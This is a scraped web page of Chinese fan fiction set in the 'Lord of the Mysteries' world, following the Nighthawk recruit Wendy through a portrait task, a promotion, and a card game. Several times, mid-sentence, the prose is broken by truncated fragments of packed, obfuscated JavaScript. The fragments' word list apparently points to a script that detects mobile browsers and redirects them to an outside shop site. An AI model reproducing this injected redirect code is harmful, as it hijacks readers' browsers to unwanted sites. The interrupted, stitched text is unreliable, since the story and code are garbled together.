l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193711|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默望着窗外的邓恩队长,疯狂地眨了几下眼睛。 你也顺着老尼尔的目光,忐忑又带着点希冀地看向邓恩队长。 队长似乎被你们这“眉来眼去”的小动作弄得有些无奈,他收回望向窗外的目光,转过头,清了清嗓子,灰眸平静地看向你。 “温蒂·佩洛蒙西娅,” 他的声音依旧沉稳,带着一贯的威严,“你这次的行为,确实存在问题。未经批准、缺乏保护措施,就向队友传授未经检验、风险未知的灵感应用方法,这是鲁莽且不负责任的,违反了值夜者内部关于知识传授与能力训练的基本安全准则。” 你的心提了起来。 但邓恩队长话锋一转:“不过,念在你是初犯,主观上并无恶意,且此次行动中该方法确实起到了关键的预警作用,并未造成人员伤亡或更严重的后果。更重要的是,你事后的反省态度诚恳,认识到了问题的严重性。” 他顿了顿,像是在斟酌措辞,“因此,这次就给予你口头警告。但是,” 他语气加重,“这次的行动报告,由你负责撰写,明天交给我。要详细、客观,特别是关于你那个‘方法’的部分,以及克莱恩·莫雷蒂的感应结果,必须如实记录,作为案例存档。” 写报告虽然麻烦,但比起预期的严厉处罚,这已经是最轻的“惩戒”了。你立刻点头如捣蒜:“是!队长!我一定认真写!” 气氛明显松弛下来。 坐在车夫旁边、一直竖着耳朵听车厢内动静的伦纳德这时回过头,从车窗探进半个脑袋,脸上挂着他那标志性的、带着点促狭的笑容:“哎呀呀,看不出来啊,我们的温蒂女士胆子这么大,明明看起来一副……嗯,呆呆的、好学生的样子?” 他故意拖长了语调。 老尼尔也摸了摸下巴,笑眯眯地跟着打趣:“就是就是,平时看着文文静静,关键时刻主意还挺大,差点把我们的占卜家给吓坏了。下次可别这样了,不然队长可不会这么轻轻放过咯。” 这番调侃让车厢里最后一丝凝重也消散了,取而代之的是一种并肩作战后的轻松与熟稔。 你被他们说得有点不好意思,转向邓恩队长和老尼尔,再次认真地说道:“队长,尼尔先生,抱歉,让你们担心了。我以后一定会更谨慎,遵守规定。” “嘿!为什么我没有道歉?” 趴在窗口的伦纳德立刻怪叫起来,假装不满地指着自己,“我也明明很关心你啊! 我也担心了好吗!怎么不跟我道歉?我的心的受伤了~” 你被他夸张的样子逗乐了,忍不住翻了个白眼,但还是配合地、用极其敷衍的棒读语气说道:“好吧好吧,真是对不起,我们英俊潇洒、风流倜傥、英勇无敌的米切尔先生,让您担心了。多亏了您今天英勇的表现,我们才能成功打败敌人。请问您满意了吗?” 虽然语气毫无诚意,但伦纳德显然很受用,他得意地扬了扬下巴,缩回脑袋,哼起了不成调的小曲,继续驾车去了。 车厢里响起了低低的笑声,连一直表情严肃的邓恩队长嘴角也似乎向上弯了一下。克莱恩也摇了摇头,脸上露出了放松的笑意。 48. 第48章 我都忘了我还有素描技能了 回到黑荆棘安保公司,还没来得及喘口气,邓恩队长就交给你一项出人意料的任务——去武器库旁边的密室,给那具燕尾服小丑的尸体画一张肖像。 队长用他那特有的灰色眼眸看着我,解释道:“这类工作平时一般是弗莱负责,但他配合警察部门调查失窃案还没回来。尸体不能久放,需要尽快留存影像资料归档。你的绘画基础不错,这个任务就交给你了。” 他顿了顿,补充道,“这不是值夜者文职工作的一部分,所以在此之外,我会给你申请额外的工作加班补贴,另外算工时。” 你立刻点头应承下来。且不说这是算加班,有三倍工资,更是不久前你才因为鲁莽教导克莱恩灵感放大法,此刻正是积极表现、挽回印象分的时候,这种小事你自然不会拒绝。 跟着队长走向武器库,你才发现武器库厚重的铁门旁边,竟然还有一扇极其隐蔽、与墙壁颜色几乎融为一体的暗门。队长用一把特殊的钥匙打开它,一股混合着消毒水、草药和隐约血腥味的冷冽气息扑面而来。 房间不大,没有窗户,只有一盏散发着惨白光芒的煤气灯。正中央摆着一张担架床,上面盖着白布,显露出一个人形轮廓。 “他在里面。工具在墙角桌子那里,画得像样就行,重点是面部特征。” 队长言简意赅地交代完,便轻轻带上了门,留下我一个人在这间停尸房里。 你在房间站了一会,邓恩队长又打开了门,补充说道:“可以的话,最好可以还原他虹膜和头发的颜色,桌子上的工具应该足够。还有,报告不用太着急,这周完成都可以。” 确定队长已经说完了不会再补充什么后,你深吸一口气,走到担架床边,掀开了白布。 燕尾服小丑那身破烂不堪的行头下,尸体已经经过了简单的清理,但血迹和战斗的痕迹依旧明显。庆幸的是,他的脸部完好无损,没有被子弹破坏,这给你的工作减少了很大难度。 你走到墙角的方桌前,上面果然整齐地摆放着几支硬度不同的素描铅笔、一块橡皮、一卷削笔刀,以及一沓质地不错的白纸。旁边还有一块干净的湿布和一个水盆。 你先是浸湿了帕子,小心翼翼地开始擦拭他脸上那已经花掉的红、黄、白三色油彩。冰凉的帕子拂过死者冰冷僵硬的皮肤,这种感觉颇为怪异,但你发现自己比想象中要平静得多。 随着油彩被一点点擦去,一张毫无特色、平平无奇的男性面孔逐渐显露出来。黑色的头发,略显高大的鼻梁,年纪大约在三十岁上下。你一边擦一边心想:长得真普通……不过,或许正是这种扔进人堆里就找不出来的面孔,才更适合从事非凡者这种需要隐匿的身份吧? 为了确保他死后面容没有因为非凡特性或别的原因发生改变,你下意识地揉了揉右眼眶,开启了“虚视”。目光聚焦在这张陌生的脸上,我尝试翻阅他死前最后两天的记忆碎片,主要是想确认一下他的长相特征。那些模糊、跳跃的画面并由不得你进行筛选,他这两天的信息碎片,都撞进了你的感知—— “……魔术师是占卜家途径的序列七……” “!!!” 你拿着湿帕子的手猛地一抖,差点掉在尸体上。魔术师?!占卜家途径的序列7?! 你愕然地低头,看着这张苍白平凡的脸。这个给我们带来了不小麻烦、能力诡谲难缠的敌人,竟然是克莱恩所在途径的下下个序列?! 一瞬间,无数念头在我脑海中翻滚爆炸。你回想起战斗中这家伙展现出的各种令人眼花缭乱的能力:火焰中跳跃移动、纸人替身、空气子弹、伤害转移……这么多、这么全面、这么实用的技能,居然全是占卜家序列7“魔术师”的能力?! 你心里顿时如同打翻了五味瓶,惊讶、难以置信,最后化为一股强烈的、带着酸味的吐槽欲: “什么啊!现在看起来柔软可欺、书卷气十足的克莱恩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193712|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等他到了序列7,居然能变得这么厉害难缠吗?!又是瞬移又是替身又是□□的……这跟现在这个序列9的占卜家也差太远了吧!难道说,前期看起来弱不禁风的途径,后期反而会强得离谱吗?” 这个发现让你在震惊之余,也不禁对自己所在的“怪物”途径产生了新的期待,甚至有一丝焦虑:“那我呢?‘怪物’途径序列7会是什么样子?总不至于一直到序列7都很弱吧?要是到时候还是只有这种时灵时不灵的高灵感,那也太……” 甩甩头,把杂念暂时压下。现在任务是画画。 你坐回墙角的方桌前,铺开白纸,拿起一支HB铅笔。再次开启“虚视”,将尸体活着时候的面部特征烙印在脑海中。然后,你低下头,铅笔尖在纸面上快速移动起来。 “沙沙沙……” 笔尖划过纸张的声音在寂静的停尸房里格外清晰。有了“虚视”带来的超强立体感知和细节捕捉能力,画画变得前所未有的简单,简直就像最高效的临摹。你不需要过多思考构图、明暗、比例,只需要忠实还原看到的一切。 没过多久,你停下了笔。 白纸上,已经呈现出一幅栩栩如生的男性肖像。它与角落那具冰冷的尸体有十成相似,但又有微妙的不同。画中人的脸庞同样平淡无奇,黑发,高鼻梁。不同的是,你给他加上了一双蓝色的眼眸。 这并非你的臆造,而是依据“虚视”捕捉到的、他眼部虹膜残留的极细微色素信息还原的——毕竟尸体失去了血色,眼睛也灰暗无光,真实的瞳色需要一点推断和还原。 画上的他,没有可怖的伤口,没有死后的青灰,就像一個刚刚陷入沉思的普通人 你放下铅笔,轻轻吹去纸上的橡皮屑,看着这幅完成的肖像画,心里暗暗想着:“得提醒一下克莱恩关于‘魔术师’的情报……不过,该怎么委婉地说,才能不暴露我能直接‘看’到对方途径序列的秘密呢?” 49. 第49章 我要为邓恩队长跳应援 你将完成的肖像画交给邓恩队长时,他正站在办公室窗前,望着外面渐暗的天色。 他接过画纸,目光在那张还原度极高的面孔上停留了片刻,尤其是在你那双添了色彩的蓝色眼眸上。他点了点头,语气平稳地开口:“画得不错,特征很清晰。刚刚警方传来消息,死者身份初步确认,是凯蒂·斯蒂芬娜·比伯,和她的儿子瑞尔·比伯一起租住在那里。但目前,只发现了她的尸体。” 你立刻从队长的话里捕捉到了关键信息——“和儿子一起居住”但“只发现了她的尸体”。这意味着还有一个活人下落不明,而且很可能与这起涉及安提哥努斯笔记的诡异事件密切相关。 “是要找瑞尔·比伯?” 你几乎是脱口而出。 队长转过身,灰色的眼眸中闪过一丝赞许,他颔首道:“是的。他是目前最关键的线索人物,也可能是受害者,或者……” 他没有说完,但意思很明显,这位比伯先生也可能与密修会有很深的牵扯。 他走回办公桌,从抽屉里取出一张纸,递给我。“这是老尼尔通过一个追溯仪式,耗费了一些材料得到的影像速写出的瑞尔·比伯。经过警方在周围楼栋邻居的验证下,相似度很高。记住这张脸,目前我已经让警署以杀母嫌疑将瑞尔·比伯通缉。” 被通缉了?那就是有赏金了。 你接过那张纸。上面是用钢笔快速勾勒出的人像,线条简练但特征突出:深眼窝、高鼻梁、一头浓密的天然卷短发。旁边还有几行标注清晰的字迹:“黑色的头发,深蓝色的眼睛,嘴巴左侧有颗全瓷假牙。” 老尼尔的仪式好实用啊!能通过仪式隔空确定目标,还能获取这么具体的体貌特征!想学! 你心里瞬间冒出这个念头,眼睛盯着那几行字,仿佛想把它印在脑子里。 你自知自己的“虚视”还不能在物品上看出什么历史残留的影像,而且就算是活物,你能得知的信息也是近一两日的。像瑞尔死去的母亲,尸体放了好些天,更是看不出什么了。相比起来,老尼尔的仪式非常补你的短缺。 邓恩队长似乎看出了你眼中闪烁的好奇与渴望,嘴角罕见地微微上翘了一下,然后告诉了我一个意想不到的好消息: “另外,通知你一下。鉴于你和克莱恩·莫雷蒂在本次任务中的表现,尤其是成功定位了安提哥努斯笔记及相关危险人物,做出了实质性贡献……再过几天,等必要的流程走完,你们就可以正式转为值夜者小队的正式队员了。” 他顿了顿,补充了一句更让你心动的话:“而且,这次维克罗尔先生的委托酬金,会按照正式队员的比例,给你和克莱恩分成。” 我的眼睛瞬间亮了起来! 这可是关乎工资、奖金、福利待遇的头等大事!正式队员的周薪肯定比文职人员高,还能参与委托分成!要知道值夜者获得的额外委托资金除了一半充公作为活动资金外,其余的可是正式成员平分,文职成员就算参与委托也只有百分之十。 维克罗尔先生的委托资金是200金磅,一半充公还有100磅,嗯,任务是我和克莱恩还有伦纳德完成的,100磅除以3除不尽,换算成苏勒是2000苏勒是24000便士,除以3就是8000便士就是666苏勒8便士,也就是33磅6苏勒8便士…… 你心里已经迅速算了起来了。你知道邓恩队长肯定不会贪你这点额外的委托费,但是老尼尔不一定,不过这不影响你现在开心地算三个人平分能分多少。 嗯,等会儿下班前,一定要找个机会偷偷去问老尼尔,还有伦纳德那个家伙,他肯定清楚薪资结构,知道正式队员的周薪到底是多少!你心里的小算盘已经开始噼啪作响了。 接着,队长看了看墙上的挂钟,对你说:“今天也发生了不少事情,先是救援任务,又是战斗,还处理了尸体画像,你的灵性消耗应该也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193713|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很大。接下来没什么紧急事务了,你可以先回家了,好好休息。” 我站着没动,手里还拿着瑞尔·比伯的速写,眼睛望着队长。 队长等了几秒,见我没动,又看看我,我们俩就这样大眼瞪小眼地对视了片刻。最后,队长有些无奈地抬手揉了揉眉心,脸上露出了一个极淡的、几乎可以称之为笑的表情,问道:“怎么,是在等我还有什么要补充吗?还是……温蒂·佩洛蒙西娅小姐,你还有什么要补充的?” “嗯。” 你老实地点点头,但随即又觉得自己这样有点傻,连忙补充道,“我是说……谢谢队长告诉我转正和分成的事!我会继续努力的!” 队长看着你,灰眸中的神情温和了些,他摇了摇头,语气也变得比平时更舒缓:“不,我确实应该补充。除了……嗯,在未经批准和缺乏保护的情况下,大胆地教授克莱恩使用未经证实的方法这一点需要严肃反省外,你今天在任务中的整体表现,很优秀。预警及时,射击果断,战斗中冷静,善后工作也完成得很好。你证明了自己在压力下的素质,是一位正在快速成长的、优秀的非凡者。今晚,好好休息。” 你完全没想到会得到邓恩·史密斯队长如此直接而肯定的夸奖!脸上瞬间感觉有点发烫。 你完全抑制不住,也根本不想抑制,立刻绽放出一个大大的、灿烂的笑容,大声说道:“谢谢队长!我会记住的!今晚一定好好休息!” 说完,脚步轻快地离开了队长办公室,乐呵呵地收拾东西准备下班回家。 当然,回家的路上,你脑子里已经开始盘算:第一,明天一定要想办法把“魔术师是占卜家序列7”这个情报,用合理的方式暗示给克莱恩;第二,得找机会问问老尼尔,那个追踪仪式到底是怎么弄的,太有用了!第三,还有啥来着……? 对了,今天周五了!周一还有塔罗会,我还没记罗塞尔大帝的日记呢! 50. 番外章 上帝视角的道歉章节?[番外] 马车在铺着石板的街道上颠簸前行,车厢里弥漫着血腥味、尸体的腐臭,以及一种难以言喻的尴尬沉闷。周明瑞——或者说,现在应该叫克莱恩·莫雷蒂——尽量缩小自己的存在感,背靠着冰凉的车厢壁,目光放空,仿佛在研究对面邓恩队长外套上第几颗纽扣更精致。 “真是糟糕透顶的一天……” 他在心里叹了口气。先是差点被一个“怪物”途径的新手同事用野路子灵感放大法给看出心理阴影,接着又近距离直面了高度腐烂的尸体并吐得稀里哗啦,最后还和一位手段花样颇多的非凡者进行了一场生死搏杀。“这比我上辈子高三熬夜玩游戏和爸妈斗智斗勇刺激多了,一不小心小命真没了……” 克莱恩忍不住吐槽。 他的目光不经意间扫过对面。然后,克莱恩看见你——那位灵感高得吓人、行为模式也开始有点向“非人”靠拢的“怪物”途径新手同事,极其自然地把蹭到尸血的鞋底,在死者那件破烂燕尾服上蹭了蹭。 克莱恩的嘴角几不可察地抽搐了一下。 ……“怪物”小姐的适应能力是不是有点好过头了?这才序列9啊!面对尸体和血腥,冷静得跟老尼尔处理实验材料一样……“怪物”途径都这样?还是她本人就比较特别? 克莱恩想起自己刚才的失态呕吐,顿时觉得脸上有点发烫,一种属于普通现代文明社会青年的、残存的羞耻感在作祟。他沉默了几秒,才干巴巴地评价道:“温蒂,你……适应得真好。” 这话说完他就后悔了,听起来简直像在讽刺。好在温蒂似乎没听出来,反而开始纠结自己胆子变大的问题。 嗯,难道魔药对性格和认知的影响真的存在?自己这位同事兼前邻居,似乎正朝着“泰山崩于前而色不变”的方向一路狂奔……这算好事还是坏事?” 克莱恩暗自思忖,同时提醒自己也要警惕“占卜家”魔药可能带来的潜移默化改变,比如越来越神棍,或者越来越像街头骗子的气质? 然而,你的话题突然一个急转弯,直指他而来—— 道歉。为了那个差点让他灵性崩溃的“灵感放大法”。 “啊这……” 克莱恩一时没反应过来。看着你那写满了后怕和真诚懊悔的脸,他心里的那点不快其实已经散得差不多了。毕竟,当时做决定的是他自己,灵摆占卜也给出了相对安全的启示。 “说起来,她也是好心,而且方法确实有效……虽然过程有点过于刺激。总不能指望一个序列9的‘怪物’能像老尼尔一样提供标准化的安全教学吧?值夜者的工作本身就是在刀尖上跳舞。” 克莱恩摆了摆手,用尽量平和的语气接受了道歉,并试图将责任揽到自己身上——成年人,自己的选择自己负责。这既是场面话,也是实话。在非凡世界里,将自身安全完全寄托于他人本就是一种奢望。 但你的坚持超乎他的预料。你不仅没有顺势下台阶,反而更加激动地剖析自己的“罪过”,甚至提到了梅丽莎和班森。 但克莱恩不得不承认,当听到梅丽莎和班森的名字时,他的心脏像是被一只无形的手攥了一下。 “……她连这个都考虑到了吗?” 一股复杂的感觉涌上心头。 克莱恩看着你激动地列举着可能造成的连锁悲剧,心里那份因为穿越和经历诡异事件而筑起的心防,悄然松动了一丝。“是啊,在这个世界,我不是孤身一人。梅丽莎和班森……如果我因为自己的不谨慎真的出了事,他们该怎么办?” “我现在是克莱恩·莫雷蒂,是梅丽莎的哥哥,是班森的弟弟……” 一种沉甸甸的责任感压得他有些喘不过气。穿越以来的种种艰难、对故乡的思念、对这个陌生世界的疏离,在此刻仿佛都被克莱恩·莫雷蒂的社会身份凝聚成了更具体、更无法推卸的重担。 温蒂最后那句直击灵魂的叩问——“比起让别人因为自己而受伤,还是宁愿自己受伤比较好一点,对吧?”让他陷入了短暂的沉默。 “……喂喂喂,温蒂小姐你有着金子般的美好品质可不要带上我啊。” 克莱恩在心里疯狂摆手,“我可没有你想得那么好!”但不知道为什么,克莱恩觉得他面对你的目光不太能说得出话来。 这份沉默,就是他最真实的答案。 克莱恩看着眼前这个因为后怕和愧疚而显得有些激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193714|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动的你,忽然觉得你或许并不像表面看起来那么“适应良好”和“非人”,内心深处依然有着非常柔软和负责任的一面。这让他对这位新同事的印象好了不少。 克莱恩感觉如果这一切是一场游戏,那现在应该响起“得得得得得~”的好感提升音乐了——克莱恩的好感提升了! 他在心里诡异对这个想象进行了配乐,心想自己对你肯定还有黑发黑眸外貌的10点初始好感。 所以,当气氛稍微缓和,他深吸一口气,认真地接受了道歉,并且承认自己也需要更重视生命。 毕竟,好不容易才活出第二世,还莫名其妙成了“占卜家”,总不能轻易狗带。还得攒钱给梅丽莎交学费,给班森减轻负担呢……现实的压力总是最能让人清醒。啊,即使穿越了也还是穷屌丝一个呢…… 接着,老尼尔和邓恩队长一唱一和的“一个红脸一个白脸”,以及伦纳德那家伙不合时宜的插科打诨,都让克莱恩有种微妙的既视感。 “这算什么?值夜者小队特色团队建设?危机过后的心理疏导兼新员工行为规范再教育?” 他暗自吐槽,但不得不承认,这种略带人情味的处理方式,确实比单纯的严厉斥责更让人容易接受。 看着你因为队长的轻轻放下和变相夸奖而露出的灿烂笑容,看着伦纳德搞怪讨要道歉的样子,车厢里重新活跃起来的气氛…… 克莱恩靠在依旧颠簸的车厢壁上,感受着身下尸体传来的冰冷触感,鼻尖萦绕着散不去的血腥与腐臭,耳边是同事们略显轻松的谈笑。 “真是……魔幻的世界。” 他轻轻敲了敲眉心,最终只在心里得出了这个结论。 不过,有这样的队友……似乎也不算太坏。至少,比一个人面对这个疯狂的世界,要好那么一点点。虽然其中一个队友冷静得可以用尸体擦鞋,另一个队友骚包得像是来参加舞会,我则是正在cos邪神……好吧,这个团队配置真是充满“特色”。 “当然,最大的底牌和依靠,永远只能是……‘愚者’先生。” 他在心里默默补充了一句,将目光重新投向窗外流动的、被煤气灯照亮的廷根市夜景。 51. 第50章 罗塞尔大帝我的偶像 7月7日,周六。 周六上午的值班总是相对轻松些。你和克莱恩一起,准时出现在老尼尔的炼金室,继续你们的神秘学入门课程。 空气中依旧弥漫着草药、矿物和旧羊皮纸的气息,但经历了一场真正的战斗后,再坐在这里听讲,感觉似乎有些不同了。那些符号、仪式、灵性理论,不再只是遥远的知识,而是可能与生死攸关的实际工具。 课程间隙,克莱恩压低声音,跟你分享了队长那边的最新进展:“队长初步推断,安提哥努斯笔记会被送到瑞尔·比伯那里,很可能因为瑞尔·比伯本人就是安提哥努斯家族的后裔。队长已经向圣堂申请调用一件专门用于追踪的封印物,等东西到了,应该就能锁定他的具体位置。” 他顿了顿,看了你一眼,补充道,“队长说,等封印物到位、展开正式追查的时候,我们俩的正式队员申请流程,大概也差不多能批下来了。” “真的?” 你的眼睛瞬间亮了亮。虽然昨天队长已经提过,但再次从克莱恩这里确认,还是让人安心又期待。“太好了!” 你小声欢呼了一下,随即意识到还在上课,赶紧收敛表情,但嘴角的笑意压不下去。 不得不说,比起追查神秘的古神后裔和危险的封印物,还是“转正加薪”这个后半段消息更吸引现在的我! 你已经开始在心里盘算正式队员的周薪能比现在多多少,能多大程度改善家里的经济状况了。 老尼尔今天讲解的是几种常见灵性材料的辨识与初步处理,以及几个基础的、用于净化微小污染或安抚躁动灵性的象征符号。他讲得深入浅出,还让你们亲手尝试研磨一种银叶草,感受其中蕴含的宁静灵性。课程结束后,老尼尔照例开始慢悠悠地收拾他的瓶瓶罐罐。 你走到老尼尔身边,脸上露出一个混合着崇敬与好奇的笑容,语气真诚地请求道:“尼尔先生,那个……我能不能,再看一看您收藏的罗塞尔大帝的笔记抄本?我真的……真的特别崇拜罗塞尔大帝!” 你说的当然不是假话。那份崇拜是发自内心的。罗塞尔·古斯塔夫,他的伟大跨越了数学、文学、机械、哲学乃至神秘学,他是照亮一个时代的灯塔,是智慧与创新的化身。 你相信,任何一个接受过基础教育,了解他、知晓他真正贡献的人,都不可能不崇拜他!你的眼神闪闪发亮,充满了求知欲和纯粹的敬仰。 不过现在,你如此迫切地想再看那些笔记的主要原因,确实带点“私心”——今天已经是周六了。距离上次塔罗会过去了好几天,而你对于那位愚者先生布置的“收集罗塞尔大帝日记”的任务,还毫无头绪。老尼尔这里,是你目前唯一能接触到的、可能含有罗塞尔大帝笔记信息的地方。 你希望能记住那些奇异的符号和图形中,让自己在下次聚会时,不至于交白卷。 谁知道愚者先生的第一个任务都完不成会有什么惩罚? 你注意到,在你提到“罗塞尔大帝”和“崇拜”时,站在一旁也在收拾东西的克莱恩,身体似乎几不可察地僵了一下,随即嘴角微妙地抽搐了一下,仿佛听到了什么极其古怪又好笑的事情。但你转头仔细看时,他已经恢复了那副温和平静、略带书卷气的表情,正认真地把玩着一块用于练习灵摆的黄水晶,好像刚才那瞬间的异样只是你的错觉。 老尼尔听到你的请求,停下动作,红色的眼睛看向你,里面带着长者看到好学晚辈的欣慰,也有一丝过来人的了然和告诫。他呵呵笑了两声:“又惦记上我老头子这点宝贝了?年轻人有好奇心是好事,崇拜伟人更是值得鼓励。不过,温蒂,我得再提醒你一次,” 他的语气变得严肃了些,“罗塞尔大帝的智慧深邃如海,但这些密文……同样也可能隐藏着危险。看可以,但不要沉迷,更不要试图强行解读,尤其是在你灵性还不够稳固的时候。明白吗?” “我明白的,尼尔先生。我就是想再看看那些符号和图形,感受一下那种……跨越时代的智慧气息。” 你连忙保证,态度诚恳。 老尼尔这才点了点头,打开自己的银色箱子,小心地取出那几页纸张,铺在炼金台干净的一角:“看吧,就在这里看,别弄脏了。记住,只准‘看’,不准‘想太多’。” “谢谢尼尔先生!” 你高兴地道谢,立刻凑到台前,目光再次被那些扭曲、优美、充满几何美感的奇异符号所吸引。你努力记忆着它们的形状、排列,试图在脑海中与任何你可能知道的密码学或图形逻辑产生联系,但结果依旧令人沮丧——还是完全看不懂。 不过,你并不气馁。至少,你在为“愚者”先生的任务而努力,而且,能如此近距离接触偶像的密文,本身也是一种幸福。 你一边努力记忆,一边盘算着:“嗯……会有那么一天,愚者先生能告诉我罗塞尔大帝日记的内容吗?” 炼金室里安静下来,只有你翻阅纸张的轻微沙沙声,老尼尔整理材料的窸窣声,以及克莱恩偶尔摆弄水晶的细微碰撞声。 …… 7月7日,周六下午,查尼斯门前。 原本,这个周六的下午你的安排非常清晰:正好轮到你值守查尼斯门,可以利用这段相对安静无人打扰的时间,好好撰写昨天队长安排的任务报告,争取在队长那里留下个“态度端正、文笔流畅”的好印象。 然而,计划总是赶不上变化。而这个变化,名叫伦纳德·米切尔。 这位值夜者小队里最富“诗人”气质的成员,不知从哪里摸出了一副扑克牌,晃晃悠悠地来到了阴冷寂静的地下值守点。 他先是百无聊赖地观摩了一下你端坐着写报告的窘境,然后露出了那种“我有一个好主意”的笑容。 “嘿,我亲爱的温蒂,漫长又无聊的值守时光,难道就要在写报告中度过吗?这不符合值夜者高效利用时间的准则。” 他晃了晃手里的牌,绿色的眼睛里闪着狡黠的光,“来局‘斗邪恶’怎么样?放松一下紧绷的神经。” 他不由分说,又把正在整理枪械保养记录的克莱恩也拉了过来。 于是,在查尼斯门那沉重、古老、散发着无形压力的石质门扉前,在煤气灯昏暗摇曳的光线下,三人围着一张小木桌坐了下来。纸牌洗动的哗啦声,打破了地下空间惯有的死寂。 “哎呀,温蒂,怎么可以这么堕落呢! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193715|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这么严肃的地方,执行这么重要的看守任务,居然玩牌!” 你一边在心里狠狠唾弃着自己,一边动作麻利地接过伦纳德发来的牌,迅速理好,然后毫不犹豫地抢下了“邪恶”的位置。 嗯,牌还是要打的,报告……报告等会儿再写! 你迅速说服了自己。 牌局开始。伦纳德显然是个中老手,出牌刁钻,克莱恩则显得谨慎许多,步步为营。而你,凭借着一点点运气和不错的计算能力,很快占据了上风。 一边甩出一对“钩”压住伦纳德的对10,你一边看似随意地转头对旁边的克莱恩说道:“对了,克莱恩,我昨晚又想了想安提哥努斯笔记的事。你看,那笔记本身似乎就涉及很高的神秘学层次,那个死掉的小丑又是密修会的人。密修会这么执着于这本笔记,甚至不惜杀人……会不会,这个密修会掌握着‘占卜家’途径的魔药配方,甚至更多秘密?毕竟,笔记和你的途径,联系似乎很深。” 你语气平常,就像在讨论牌局一样,但话语里的内容却成功让克莱恩理牌的动作微微一顿。他抬起头,褐色的眼睛里闪过思索的光芒,显然被这个话题吸引了注意力。“有道理,”他低声回应,出牌的速度慢了下来,“队长也提过,密修会可能掌握着‘占卜家’途径的某些关键。这确实是个需要重点关注的方向。” 很好,成功让“占卜家”先生的心思从牌局上飘走了一点。你暗忖。 紧接着,轮到压制伦纳德了。 你打出一手顺子,然后看向对面似乎正琢磨着怎么出牌的诗人先生,用闲聊般的口吻说:“伦纳德,说起来还得谢谢你上次关于扮演‘怪物’的那个建议。我试着完全按照自己的灵感和直觉行动了几次,感觉还挺有效果的,嗯……有种身心舒畅、念头通达的感觉。” 你停顿了一下,扔出一张单牌,继续道,“不过我在想,你们‘午夜诗人’,是不是也有类似的窍门,可以也试试扮演?我猜……重点可能不在于真的跑到大街上或者墓地里去大声吟诗?而是更隐秘的,比如……用诗歌的力量,在别人察觉不到的地方,去影响情绪、编织氛围,或者传递某种暗示?” 你这番关于“午夜诗人”扮演法的猜测,果然也成功转移了伦纳德的注意力。他捏着牌,若有所思地看了你一眼,那眼神仿佛在说话,你猜内容是“你小子的直觉还真有点意思”。随即他懒洋洋地笑了笑:“谁知道呢?或许吧。诗歌的力量,本来就不止在于声音。” 就在他分神思考你话语的刹那,你抓住了他出牌的一丝犹豫,果断打出了手中最后的一组炸弹! “赢了!” 你轻轻将最后两张牌拍在桌上,脸上露出一个小得意的笑容。 伦纳德看着自己手里剩下的一把牌,懊恼地“啧”了一声:“狡猾的‘怪物’,居然用话题干扰对手!” 克莱恩也无奈地摇了摇头,放下牌,显然他这把牌也不怎么样。 你心情愉悦地开始洗牌:“小赢一把,这叫智取,亲爱的诗人先生。” 至于那份只写了个开头的任务报告……嗯,等打完下一局再说吧!大不了今天回家再加班一会,难不倒你的! 52. 第51章 有钱了有钱了有钱了 7月8日,周日,晴朗的上午,本来今天你该轮休,但是周一要留给伟大的愚者先生,所以你和伦纳德换了班,空出了周一。 因为昨天不小心在查尼斯门前“堕落”了,可恶的伦纳德和可恶的牌局最终也没能让你把报告写完。不过,回家后你挑灯夜战,总算在十二点之前完成了报告,没有让你今天早上迟到。 你成功地将一份详尽并且诚实地、没有美化了自己冒险行为的任务报告交到了邓恩队长的办公桌上。 队长仔细翻阅后,只是点了点头,灰眸在你脸上停留了一瞬,说了句“下次注意安全”,便算是通过了。 